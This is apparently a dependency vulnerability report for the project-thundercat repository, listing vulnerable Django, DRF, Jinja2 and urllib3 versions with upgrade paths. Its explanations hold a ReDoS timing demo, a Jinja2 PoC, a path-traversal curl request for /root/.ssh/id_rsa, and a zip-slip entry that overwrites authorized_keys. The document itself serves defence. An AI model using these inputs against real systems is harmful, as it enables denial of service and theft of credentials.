The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade django
to version 3.2.25, 4.2.11, 5.0.3 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to SQL Injection. Key and index lookups for django.contrib.postgres.fields.JSONField
and key lookups for django.contrib.postgres.fields.HStoreField
were subject to SQL injection, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs
passed to QuerySet.filter()
.
Remediation
Upgrade Django
to version 1.11.23, 2.1.11, 2.2.4 or higher.
References
medium severity
- Vulnerable module: djangorestframework
- Introduced through: djangorestframework@3.9.3, django-rest-swagger@2.2.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework@3.9.3Remediation: Upgrade to djangorestframework@3.15.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › djangorestframework@3.9.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › djangorestframework@3.9.3Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
djangorestframework is a powerful and flexible toolkit for building Web APIs.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the break_long_headers
template filter due to improper input sanitization before splitting and joining with <br>
tags.
PoC
# views.py
from rest_framework.views import APIView
from rest_framework.response import Response
class Index(APIView):
def get(self, request):
username = request.GET.get('username', '')
response = Response('OK')
response['Location'] = f'https://x.com/{username}'
return response
# urls.py
from django.urls import path
urlpatterns = [ path('api/', Index.as_view()), ]
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade djangorestframework
to version 3.15.2 or higher.
References
medium severity
- Vulnerable module: djangorestframework-simplejwt
- Introduced through: djangorestframework-simplejwt@4.3.0
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0Remediation: Upgrade to djangorestframework-simplejwt@5.2.2.
Overview
djangorestframework-simplejwt is an A minimal JSON Web Token authentication plugin for Django REST Framework
Affected versions of this package are vulnerable to Insufficient Session Expiration due to access tokens not expiring.
Remediation
Upgrade djangorestframework-simplejwt
to version 5.2.2 or higher.
References
medium severity
- Vulnerable module: jinja2
- Introduced through: jinja2@2.10.1, coreschema@0.0.4 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › jinja2@2.10.1Remediation: Upgrade to jinja2@2.11.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreschema@0.0.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
Overview
Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The ReDoS vulnerability is mainly due to the _punctuation_re regex
operator and its use of multiple wildcards. The last wildcard is the most exploitable as it searches for trailing punctuation.
This issue can be mitigated by using Markdown to format user content instead of the urlize filter, or by implementing request timeouts or limiting process memory.
PoC by Yeting Li
from jinja2.utils import urlize
from time import perf_counter
for i in range(3):
text = "abc@" + "." * (i+1)*5000 + "!"
LEN = len(text)
BEGIN = perf_counter()
urlize(text)
DURATION = perf_counter() - BEGIN
print(f"{LEN}: took {DURATION} seconds!")
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade Jinja2
to version 2.11.3 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@1.24.3, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › urllib3@1.24.3Remediation: Upgrade to urllib3@1.26.5.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the SUBAUTHORITY_PAT
regex pattern in src/urllib3/util/url.py
.
If a URL is passed as a parameter or redirected to via an HTTP redirect and it contains many @
characters in the authority component, the authority regular expression exhibits catastrophic backtracking, causing a denial of service.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade urllib3
to version 1.26.5 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.27.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the {% debug %}
template tag. The tag doesn't properly encode the current context, outputting unescaped context variables.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade django
to version 2.2.27, 3.2.12, 4.0.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@1.24.3, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › urllib3@1.24.3Remediation: Upgrade to urllib3@1.26.18.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST
to GET
. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.
Note:
This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.
Workaround
This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.
Remediation
Upgrade urllib3
to version 1.26.18, 2.0.7 or higher.
References
medium severity
- Module: certifi
- Introduced through: certifi@2019.3.9, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
MPL-2.0 license
medium severity
- Module: chardet
- Introduced through: chardet@3.0.4, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › chardet@3.0.4
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › chardet@3.0.4
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › chardet@3.0.4
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › chardet@3.0.4
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › chardet@3.0.4
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › chardet@3.0.4
LGPL-2.1 license
medium severity
- Module: psycopg2-binary
- Introduced through: psycopg2-binary@2.8.2
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › psycopg2-binary@2.8.2
LGPL-3.0 license
low severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.26.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Directory Traversal via Storage.save()
.
Note: this is exploitable only if crafted file names are being directly passed to the save
function..
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade Django
to version 2.2.26, 3.2.11, 4.0.1 or higher.
References
low severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.26.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Information Exposure via the dictsort
template filter, when leveraging the Django Template Language's variable resolution logic by supplying a maliciously crafted key.
Note: all untrusted user input should be validated before use.
Remediation
Upgrade Django
to version 2.2.26, 3.2.11, 4.0.1 or higher.
References
low severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.21.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Directory Traversal. MultiPartParser
, UploadedFile
, and FieldFile
allow directory-traversal via uploaded files with suitably crafted file names.
Details
